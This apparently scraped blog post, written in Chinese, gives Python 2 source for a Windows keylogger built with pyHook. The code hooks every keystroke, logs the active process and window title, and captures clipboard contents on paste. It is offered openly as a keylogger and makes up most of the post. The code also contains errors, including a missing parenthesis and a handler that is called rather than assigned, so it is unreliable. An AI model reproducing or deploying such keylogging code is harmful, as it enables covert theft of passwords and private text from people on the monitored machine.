Python 鍵盤記錄

來源:互聯網
上載者:User

標籤:pytho   false   manage   rdd   ble   data   else   use   type   

    之前寫的鍵盤記錄最後一直在糾結彈框與不彈框的問題,代碼找不到了,今天重新來一遍

#!/usr/bin/env python
# -*-coding:utf-8 -*-


from ctypes import *
import pythoncom
import pyHook
import win32clipboard


user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd,byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    psapi.GetModuleBaseName(h_process,None, byref(executable),512)
    window_title =create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd,byref(window_title),512
    print "\n [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s " % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True


kl = pyHook.HookManager()
kl.KeyDown = KeyStroke()

kl.HookKeyboard()
pythoncom.PumpMessages()

   

Python 鍵盤記錄

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.